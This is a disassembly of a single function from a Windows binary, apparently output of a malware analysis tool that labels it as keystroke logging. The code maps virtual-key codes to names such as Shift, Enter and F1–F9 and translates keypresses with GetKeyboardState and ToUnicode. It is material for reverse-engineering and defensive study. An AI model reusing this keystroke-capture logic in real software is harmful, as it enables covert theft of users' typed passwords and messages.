Function at 0x140006e70
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x140145080]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor esi, esi
mov qword [rsp + 0x38], rcx
lea eax, [rdx - 1]
mov edi, edx
mov rbx, rcx
cmp eax, 0x7a
ja case.0x140006ec7.7
lea rdx, [0x140000000]
cdqe
movzx eax, byte [rdx + rax + 0x76e4]
mov ecx, dword [rdx + rax*4 + 0x7644]
add rcx, rdx
jmp rcx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x140120d48]
mov word [rbx], ax
movzx eax, byte [0x140120d4a]
jmp 0x14000760e
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x140121104]
mov word [rbx], ax
movzx eax, byte [0x140121106]
jmp 0x14000760e
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Cancel]
mov dword [rbx], eax
movzx eax, word [0x14012110c]
mov word [rbx + 4], ax
mov byte [rbx + 6], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x140121110]
mov word [rbx], ax
movzx eax, byte [0x140121112]
jmp 0x14000760e
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov dword [rbx], 0x424d3158
mov byte [rbx + 4], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov dword [rbx], 0x424d3258
mov byte [rbx + 4], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Return]
mov dword [rbx], eax
movzx eax, word [0x140121118]
mov word [rbx + 4], ax
mov byte [rbx + 6], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x14012111c]
mov word [rbx], ax
movzx eax, byte [0x14012111e]
jmp 0x14000760e
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Enter]
mov dword [rbx], eax
movzx eax, byte [0x140121124]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Shift]
mov dword [rbx], eax
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov rax, qword [str.Control]
mov dword [rbx], eax
movzx eax, word [0x140121134]
mov word [rbx + 4], ax
movzx eax, byte [0x140121136]
mov byte [rbx + 6], al
mov byte [rbx + 7], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x140121138]
mov word [rbx], ax
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
jmp 0x14000760e
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Pause]
mov dword [rbx], eax
movzx eax, byte [0x140121140]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov dword [rbx], 0x73706143
mov byte [rbx + 4], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Escape]
mov dword [rbx], eax
movzx eax, word [0x140121148]
mov word [rbx + 4], ax
mov byte [rbx + 6], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Space]
mov dword [rbx], eax
movzx eax, byte [0x140121150]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov dword [rbx], 0x7466654c
mov byte [rbx + 4], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov word [rbx], 0x7055
mov byte [rbx + 2], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Right]
mov dword [rbx], eax
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov dword [rbx], 0x6e776f44
mov byte [rbx + 4], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov rax, qword [str.Prt_Scr]
mov dword [rbx], eax
movzx eax, word [0x140121174]
mov word [rbx + 4], ax
movzx eax, byte [0x140121176]
mov byte [rbx + 6], al
mov byte [rbx + 7], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Insert]
mov dword [rbx], eax
movzx eax, word [0x14012117c]
mov word [rbx + 4], ax
mov byte [rbx + 6], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Delete]
mov dword [rbx], eax
movzx eax, word [0x140121018]
mov word [rbx + 4], ax
mov byte [rbx + 6], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov dword [rbx], 0x656d6f48
mov byte [rbx + 4], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x140120f3c]
mov word [rbx], ax
movzx eax, byte [0x140120f3e]
jmp 0x14000760e
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Pg_Up]
mov dword [rbx], eax
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov rax, qword [str.Pg_Down]
mov dword [rbx], eax
movzx eax, word [0x140121194]
mov word [rbx + 4], ax
movzx eax, byte [0x140121196]
mov byte [rbx + 6], al
mov byte [rbx + 7], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov word [rbx], 0x3146
mov byte [rbx + 2], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov word [rbx], 0x3246
mov byte [rbx + 2], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov word [rbx], 0x3346
mov byte [rbx + 2], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov word [rbx], 0x3446
mov byte [rbx + 2], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov word [rbx], 0x3546
mov byte [rbx + 2], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov word [rbx], 0x3646
mov byte [rbx + 2], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov word [rbx], 0x3746
mov byte [rbx + 2], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov word [rbx], 0x3846
mov byte [rbx + 2], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov word [rbx], 0x3946
mov byte [rbx + 2], sil
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x1401211bc]
mov word [rbx], ax
movzx eax, byte [0x1401211be]
jmp 0x14000760e
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x1401211c0]
mov word [rbx], ax
movzx eax, byte [0x1401211c2]
jmp 0x14000760e
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x1401211c4]
mov word [rbx], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_50]
jmp 0x14000760e
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetKeyboardState]
xor edx, edx
mov ecx, edi
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov dword [rsp + 0x28], esi
lea r9, [rsp + 0x38]
mov edx, eax
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r8, [rsp + 0x50]
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
test eax, eax
jle 0x1400075e8
cdqe
cmp rax, 0x10
jae 0x14000763d
xorps xmm0, xmm0
mov byte [rsp + rax + 0x38], sil
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
lea rax, [rsp + 0x38]
mov qword [rbx + 0x18], rsi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1400075d0
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14000aa60
jmp 0x140007615
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x1401211c8]
mov word [rbx], ax
movzx eax, byte [0x1401211ca]
mov byte [rbx + 2], al
mov byte [rbx + 3], sil
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1401096d0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140109918
int3